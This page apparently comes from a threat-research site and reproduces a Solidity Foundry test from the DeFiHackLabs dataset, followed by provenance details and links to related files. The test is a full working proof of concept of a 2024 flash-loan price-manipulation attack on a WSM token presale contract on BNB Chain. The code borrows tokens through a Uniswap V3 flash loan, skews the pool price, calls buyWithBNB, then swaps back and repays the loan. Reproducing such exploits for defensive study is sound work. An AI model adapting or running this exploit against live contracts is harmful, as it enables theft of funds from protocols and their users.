Public reproduction file

src/test/2024-04/WSM_exp.sol

Public reproduction file for dataset entry wsm.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/WSM_exp.sol83 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : 2_517_438_179_912_631_607_253_979 WSM ≈ 18K
8// Attacker : 0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32
9// Attack Contract : https://bscscan.com/address/0x014eE3c3dE6941cb0202Dd2b30C89309e874B114
10// Vulnerable Contract : https://bscscan.com/address/0xc0afd0e40bb3dcaebd9451aa5c319b745bf792b4
11// Attack Tx : https://bscscan.com/tx/0x5a475a73343519f899527fdb9850f68f8fc73168073c72a3cff8c0c7b8a1e520
12 
13// @Analysis
14//
15// Using a flash loan to cause price disparity in the BNB_WSM pool,
16// and then manipulating the price through the buyWithBNB() in the presale contract.
17 
18contract WSM is Test {
19    Uni_Pair_V3 BNB_WSH_10000 = Uni_Pair_V3(payable(address(0x84F3cA9B7a1579fF74059Bd0e8929424D3FA330E)));
20    Uni_Router_V3 routerv3_ = Uni_Router_V3(payable(address(0x74Dca1Bd946b9472B2369E11bC0E5603126E4C18)));
21    Uni_Pair_V3 BNB_WSH_3000 = Uni_Pair_V3(payable(address(0xf420603317a0996A3fCe1b1A80993Eaef6f7AE1a)));
22    address proxy_ = address(0xFB071837728455c581f370704b225ac9eABDfa4a);
23 
24    IERC20 wshToken_;
25    IWBNB bnbToken_;
26 
27    function setUp() public {
28        vm.createSelectFork("bsc", 37_569_860);
29        vm.deal(address(this), 0); // Preparation work，clear POC balance，ignore it
30        wshToken_ = IERC20(BNB_WSH_10000.token0());
31        bnbToken_ = IWBNB(payable(BNB_WSH_10000.token1()));
32 
33        wshToken_.approve(address(routerv3_), 10_000_000_000_000 ether);
34        bnbToken_.approve(address(routerv3_), 10_000_000_000_000 ether);
35    }
36 
37    function testExploit() public {
38        console.log("1. before attack wsh token balance of this = ", wshToken_.balanceOf(address(this)));
39        BNB_WSH_10000.flash(address(this), 5_000_000 ether, 0, "");
40        console.log("8. after attack wsh token balance of this = ", wshToken_.balanceOf(address(this)));
41    }
42 
43    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
44        console.log("2. bnb_wsh_10000 pool wsh balance after flashloan = ", wshToken_.balanceOf(address(this)));
45 
46        Uni_Router_V3.ExactInputSingleParams memory args = Uni_Router_V3.ExactInputSingleParams({
47            tokenIn: address(wshToken_),
48            tokenOut: address(bnbToken_),
49            fee: 3000,
50            recipient: address(this),
51            deadline: block.timestamp,
52            amountIn: 5_000_000 ether,
53            amountOutMinimum: 1,
54            sqrtPriceLimitX96: 0
55        });
56        routerv3_.exactInputSingle(args);
57 
58        console.log("3. balance after exchanging wsh for bnb = ", bnbToken_.balanceOf(address(this)));
59        bnbToken_.withdraw(bnbToken_.balanceOf(address(this)));
60 
61        console.log("4. [ ============= ATTACK START ============= ]");
62        proxy_.call{value: address(this).balance}(abi.encodeWithSignature("buyWithBNB(uint256,bool)", 2_770_000, false));
63        console.log("5. wsh balance after attack function buyWithBNB() = ", wshToken_.balanceOf(address(this)));
64        console.log("6. [ ============= ATTACK END ============= ]");
65 
66        Uni_Router_V3.ExactInputSingleParams memory args2 = Uni_Router_V3.ExactInputSingleParams({
67            tokenIn: address(bnbToken_),
68            tokenOut: address(wshToken_),
69            fee: 3000,
70            recipient: address(this),
71            deadline: block.timestamp,
72            amountIn: address(this).balance,
73            amountOutMinimum: 1,
74            sqrtPriceLimitX96: 0
75        });
76        routerv3_.exactInputSingle{value: address(this).balance}(args2);
77 
78        console.log("7. repay flashloan for bnb_wsh_10000 pool");
79        wshToken_.transfer(address(BNB_WSH_10000), 5_000_000 ether + fee0);
80    }
81 
82    fallback() external payable {}
83}

Analysis

Dataset entry

Public Foundry test for “wsm” (2024-04-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
Attack Contract
0x014ee3c3de6941cb0202dd2b30c89309e874b114
Vulnerable Contract
0xc0afd0e40bb3dcaebd9451aa5c319b745bf792b4

Attack Tx
0x5a475a73343519f899527fdb9850f68f8fc73168073c72a3cff8c0c7b8a1e520

File record

Name: wsm
Path: src/test/2024-04/WSM_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 1d2b471c6004a23a8977b9a752595146d3216670
Language: Solidity
Size: 84 lines
Date: 2024-04-04
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-04/WSM_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1d2b471c6004a23a8977b9a752595146d3216670, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.